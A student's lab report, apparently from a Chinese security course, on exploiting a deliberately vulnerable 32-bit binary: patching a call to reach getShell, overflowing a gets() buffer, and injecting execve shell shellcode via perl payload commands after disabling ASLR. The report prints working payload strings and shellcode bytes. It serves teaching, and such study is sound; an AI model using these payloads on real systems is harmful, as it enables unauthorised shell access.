首页 > 其他分享 >20222420 2024-2025-1 《网络与系统攻防技术》实验一实验报告

20222420 2024-2025-1 《网络与系统攻防技术》实验一实验报告

时间:2024-10-07 23:11:06浏览次数:1  
标签:x90 x68 x2f 2024 2025 地址 20222420 shellcode 输入

1.实验内容

1.1 学习内容总结

1.1.1 初步了解缓冲区溢出漏洞

首先学习了安全漏洞的相关概念,然后聚焦在其中的缓冲区溢出漏洞上。学习了缓冲区溢出漏洞相关的定义和发生的原因,并了解了缓冲区溢出发展历史上的经典攻击,如红色代码蠕虫、冲击波病毒、震荡波病毒、心脏出血、乌克兰断网、WannaCry等。

1.1.2 缓冲区溢出基础知识
  • 编译器和连接器:gcc test.c –o test
  • 调试器:类Unix平台上经常使用GDB
  • 汇编语言:寄存器(ebp、eip等),汇编指令(RET、CALL等)
  • 堆:程序动态分配的数据和变量
  • 栈:环境变量/参数和个数以及主函数和调用栈中函数的临时保存信息
  • 函数调用过程和反汇编

1.2 实验任务

利用一个名为pwn1的linux可执行文件,其执行流程为main调用foo函数,foo函数简单回显用户输入的字符串。该程序同时包含另一个代码片段getShell,会返回一个可用Shell,正常情况下这个代码不会被运行。实验目标为,学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下
  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
  • 注入一个自己制作的shellcode并运行这段shellcode

2.实验过程

2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

  • 下载pwn1,复制到文件夹20222420为文件pwn20222420。
  • 发现pwn20222420不是可执行文件,通过chmod命令将其改为可执行文件。
  • 验证pwn20222420文件运行情况,运行情况正常。
  • 利用“objdump -d pwn20222420 | more”命令反汇编pwn20222420文件,查看main函数调用foo函数的指令。
    分析:e8 d7 ff ff ff中,e8代表跳转,ff ff ff d7(小端存储)是-41的补码。执行80484b5处的指令时,EIP的值是下条指令的地址(即80484ba),但执行完80484b5处的指令后,CPU会转而执行 “EIP + ffffffd7”这个位置的指令,即执行foo函数(80484ba+ffffffd7=8048491)。
  • 想要改变程序执行流程,直接跳转到getShell函数,只需要修改d7 ff ff ff为“getShell函数地址-EIP”即可,即修改为c3 ff ff ff(0804847d-080484ba=ffff fffc3)。
  • 下面利用vi命令查看pwn20222420文件,用:%!xxd将显示模式切换为16进制模式,用/e8 d7命令查找对应位置,然后按i进入编辑,将其中对应的d7改为c3。最后按esc退出编辑,输入:%!xxd -r转换16进制为原格式,输入:wq以保存并退出查看。
  • 再次反汇编pwn20222420文件,查看相应位置是否被修改成功。可知已经修改成功。
  • 最后运行修改后的pwn20222420文件,会得到shell提示符$,并且可以正常执行命令。

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

  • 将pwn1复制到文件夹20222420为文件pwntwo20222420,并将其设置为可执行文件
  • 反汇编,查看foo函数中的Buffer overflow漏洞
    分析1:804849d地址处的指令代表计算从(%ebp)(即基指针地址)向下偏移0x1c(即十进制的28)的地址,并将这个地址加载到累加器%eax中,这个地址是预留给字符串输入的缓冲区。
    分析2:804849d地址处的指令代表调用gets函数,从标准输入读取字符串到之前计算的缓冲区地址。由于gets不检查缓冲区大小,如果输入字符串超过28字节(包括空终止符),将导致缓冲区溢出。
    分析3:返回地址之下为%ebp(占4B,因32位程序),%ebp之下为预留给字符串输入的缓冲区。可以推知只要输入32字节,再之后就会溢出到返回地址及以后的空间,但这只是一般情况,还需要验证。
  • 确认是否的确是输入32字节后再输入就会溢出到返回地址及以后的空间。使用gdb调试。
    输入gdb pwntwo20222420来使用gdb调试该文件,然后输入r来运行文件,再输入555555555555555555555555555566664321来测试32B(一个数字占1B存储空间)后的4321是否出现在返回地址。
    分析:从图中可以看到%eip指令寄存器指向的下一条指令的地址为0x31323334,即小端存储的4321。且%ebp确实被6666所填充。可知结果证明了上述“分析3”中的推知。
  • 确认用什么值来覆盖返回地址。使用objdump -d pwntwo20222420 | more命令查看getShell函数的地址。
    分析:可知getShell函数的地址为0804847d,同时从上面的实验可知存储模式为小端存储(低位字节存在低位地址),故构造的值应为\x7d\x84\x04\x08。输入pwntwo20222420文件的字符应为32个任意字符和\x7d\x84\x04\x08,其后还可以加上\x0a,不然输入字符串后还需手动敲击回车。
  • 但\x7d\x84\x04\x08无法从键盘键入。这时有两种方式,一种是使用Perl来生成一个字符串并将其输出到一个文件(我命名为input)中,然后用cat命令读这个文件并将输出通过管道(|)输入到pwntwo20222420文件;另一种是跳过input文件这一中间环节,直接通过管道(|)输入到pwntwo20222420文件。以下为两种方式的实验结果,可知均成功。

2.3 注入一个自己制作的shellcode并运行这段shellcode

  • 准备一段Shellcode,这段机器指令的目的是为获取一个交互式的shell。
    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
  • 修改安全设置。
    • 设置堆栈可执行,并查询设置情况。
    • 关闭地址随机化,并查询设置情况。需要通过sudo su -命令转换到root用户才能设置。
  • 构造要注入的payload。结构使用anything+retaddr+nops+shellcode,其中retaddr应为注入的shellcode的地址用于替换返回地址,nop为空指令(0x90)。
    • 初始构造为AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+4321+\x90\x90\x90\x90+\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
    • 寻找注入的shellcode的地址
      • 使用
        perl -e 'print "A" x 32;print "\x34\x33\x32\x31\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode,并将其中内容通过管道输入到pwntwo20222420文件中运行。注意此时不能输入回车。
      • 打开另一个终端,用ps -ef | grep pwntwo20222420命令查看进程号,然后输入gdb命令,再输入attach 11112将gdb附加在前面查看的进程号上。
      • 在第二个终端中使用disassemble foo,反汇编foo来查看ret指令的地址,以便在此设置断点。
      • 在第二个终端中ret指令的地址处设置断点。断在这里,因为这时注入的东西都在堆栈上了。
      • 在第一个终端中输入回车。然后在第二个终端中输入c,表示继续。然后输入info r esp,查看esp的地址,以便在此附近寻找注入的shellcode的地址。
      • 输入x/16x 0xffffcdec,以十六进制检查该处内存。此时可以找到注入的shellcode并计算出其地址为0xffffcdf4。
    • 此时就知道了要注入的payload应构造为
      "A" x 32 + "\xf4\xcd\xff\xff\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
    • 构造文件的命令为
      perl -e 'print "A" x 32;print "\xf4\xcd\xff\xff\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode2
  • 最后进行验证。

3.问题及解决方案

  • 问题1:运行pwn20222420文件时报错,显示permission denied,我以为需要用sudo,但还是不行。
    问题1解决方案:我想到可能文件不可执行,用ls -l查看确实如此,用chmod将其设置为可执行文件便解决了问题。
  • 问题2:第一个实践内容,用/e8d7查找不到要修改的内容。
    问题2解决方案:反复尝试后我想到可能中间需要空格,因为查看时字节间有空格,虽然我认为实际存储中是没有空格的。尝试了/e 8d7不行,然后/e8 d7便能找到了。
  • 问题3:设置堆栈可执行时显示错误,原因是没有execstack命令。apt-get也搜索不到该程序。
    问题3解决方案:CSDN中查询,可以在网上下载并安装。为了方便没有用浏览器,具体使用了wget http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb和sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb命令行。
  • 问题4:关闭地址随机化时权限不够,用sudo也不行。
    问题4解决方案:询问AI后明白必须root用户才能关闭。但是我从一开始就并没有设置过root用户。不过我还是尝试转换到root,因为可能不需要密码。我用su -显示错误,于是改用了sudo su -,这次直接转换为了root用户,在这个用户下我就成功关闭了地址随机化。
  • 问题5:不明白任务3中最后构造input_shellcode时用的字符串最后的\x90\x00\xd3\xff\xff\x00有什么用。
    问题5解决方案:经过深入分析,发现没什么用。这是是博主之前使用nop+shellcode+retaddr结构未成功,更改结构后未删除而遗留下来的,\x90是为了凑够前面的32B,\x00\xd3\xff\xff是shellcode地址,但这都是使用nop+shellcode+retaddr结构时使用的内容了。直接删除即可。

4.学习感悟、思考等

通过这次实验,我不仅加深了对计算机安全漏洞的理解,还通过实践掌握了多种攻击与防护的技术手段。尽管整个实验过程布满了重重困难与挑战,但我深信,通过深入细致地分析问题、逐一攻克那些直接影响实验进程的难题,以及审慎探究那些虽不直接阻碍实验却仍存疑的点,而非仅仅依赖于刻板重复的实验指南,我获得了极为宝贵的成长与收获。
在实验过程中,我学习了编译器、调试器、汇编语言以及堆和栈的基础知识,这些知识对于理解缓冲区溢出漏洞的原理和攻击方式至关重要。通过动手实践,我亲手操作了如何修改可执行文件来改变程序执行流程,如何利用缓冲区溢出漏洞构造攻击输入字符串,以及如何注入和运行自定义的Shellcode。我感觉通过这些实践我对原本并不熟悉的堆、汇编语言、调试器gdb熟悉了很多,并能够运用这些知识。
在实验中,我也遇到了不少问题,比如文件权限问题、查找和修改特定内容时的困难、缺少必要工具的问题等,在遇到未知的问题时我显得比较着急和焦虑。但是,通过不断尝试和寻求帮助,我最终都成功地解决了这些问题。这些经历让我更加明白,在遇到问题时,不要轻易放弃,要多思考、多尝试,要学会保持冷静和耐心,同时也可以借助外部资源来寻求帮助。
这次实验中我认为我对这次实验的理解已经很深入了,有疑惑的点我自己基本都解决了。比如为什么是32个字节后便溢出到返回地址(设置的缓冲区28B+ebp4B=32B),nop是什么(空指令\x90,往后滑),一个字符串存储后显示出来为什么这么奇怪(栈向低地址生长,小端存储),ret有什么用(返回主程序),为什么用print而非printf(perl是脚本语言),disassemble是什么(反汇编),more /proc/sys/kernel/randomize_va_space是什么、为什么显示0或2(显示地址空间随机化情况,0表禁用,1表启用,2表完全启用)等等。正是因为我对实验内容有一定的理解,我在做时才能够有一定自己的想法,和实验指导的步骤有略微的差别。

参考资料

标签:x90,x68,x2f,2024,2025,地址,20222420,shellcode,输入
From: https://www.cnblogs.com/SAltria/p/18450199

相关文章

  • 2024.9
    1.ARC130EIncreasingMinimum好莫名奇妙的题,不知道省选前为啥没做出来。直接变成分段问题:第\(i\)段的表示说这些元素在遍历到(没有做加法前)取值都为\(i\)。一个合法的分段方式需要满足:\(x\)在一个段里不重复出现。若\(x\)在第\(i\)段出现,则必须在\(j\gti\)段......
  • 2024 10.5&10.6 模拟赛总结
    202410.5&10.6模拟赛总结一句话总结:打的稀烂。10.6\(T1\)没什么好说的。\(T2\)是我不喜欢的类型。首先看到前\(K\)大马上就想到了二分和堆,但是想了半天也不知道堆怎么由一种状态推广到多种状态,并且要不重不漏、效率高,二分也没想出来怎么\(check\)。赛后听了评讲才发现堆......
  • 2024.10.05 刷题记录
    2024.10.05刷题记录P7597「EZEC-8」猜树加强版不难发现\(u\)的儿子的条件是在\(u\)的子树内且深度比\(u\)恰好大\(1\)。每次询问子树内的所有节点深度或许可以解决此题,但询问次数达到了\(n^2\)。在\(u\)的子树内,如果知道所属其他儿子的子树的节点,知道属于\(u\)......
  • 多校A层冲刺NOIP2024模拟赛03
    A.五彩斑斓没办法,不会统计四个点相同的,赛时没想到,写了一个神秘算法骗了80考虑倒着计算,总子矩阵有\(\frac{n(n+1)*m(m+1)}{4}\)个,减去四个角相同的矩阵数量就是答案,枚举矩阵的上下边界两条线再枚举每一列,会有两个交点,统计每种颜色的上下交点颜色一样的个数,就可以计算了点击......
  • 20241007
    sequence我们会发现,我们每次删的一定是长度最短的那个,所以我们可以最开始按照长的排一下序,然后用线段树维护每一个区间中还有几个数,每次加上答案后在两个端点打上标记即可#include<bits/stdc++.h>#define_1(__int128)1usingnamespacestd;usingll=longlong;vo......
  • 2024.10.7 鲜花
    【UNR#3】百鸽笼花の塔君が持ってきた漫画くれた知らない名前のお花今日はまだ来ないかな?初めての感情知ってしまった窓に飾った絵画をなぞってひとりで宇宙を旅してそれだけでいいはずだったのに君の手を握ってしまったら孤独を知らないこの街にはもう二度と帰ってく......
  • 2024CCPC山东省赛补题记录
    前言今天和队友VP了24CCPC山东省赛,最后9题,但是赛中7题左右我就隐身了,赛后看题解发现E题不难,赛时过的人太少导致有点畏手畏脚,看到题解一下就懂了,几分钟写好。这里主要补一下E和L的题解,这场比赛学到了维护区间信息,可以考虑把区间挂在线段树节点上,以及动态维护树直径的典。E传感器......
  • 2024/10/07 模拟赛总结
    \(20+55+25+0=100\),压线拿到小饼干!#A.A可以发现\(u_i=A,v_i=B,w_i=C\)至少有一个成立,将这些点抽象到三位空间中。则原长方体一定被一个从\((1,1,1)\)出发的长方体打穿,但是似乎重叠部分比较难实现对于从底打到顶的长方体,可以用后缀\(\max\)解决,然后原长方体就变成了阶梯......
  • CSP2024 前集训:csp-s模拟9
    前言T1状压挂了\(10pts\),貌似做法是假的,但是一下午也没调出来哪儿假了,但是错误率很低,几百组能有一组错的。T2赛时数据锅了赛后重测了,赛时想到线段树但是没能具体实现,最后无奈写暴力。T3、T4没看。T1邻面合并\(m\le8\)所以考虑状压表示每一行哪些地方被覆盖,对与相邻两......
  • [42] (多校联训) A层冲刺NOIP2024模拟赛03
    今天的乐子今天的乐子2昨天晚上做梦梦见自己被关进戒网瘾学校里面的老师全和疯子一样然后我和这帮疯子老师比疯疯子老师发现他们没我疯所以就把我放了今天的乐子3lhx罗曼蒂克的辟谷A.五彩斑斓赛时的想法\(n^4\)的做法,设\(f_{i,j,k,l}\)表示以\((i,j)......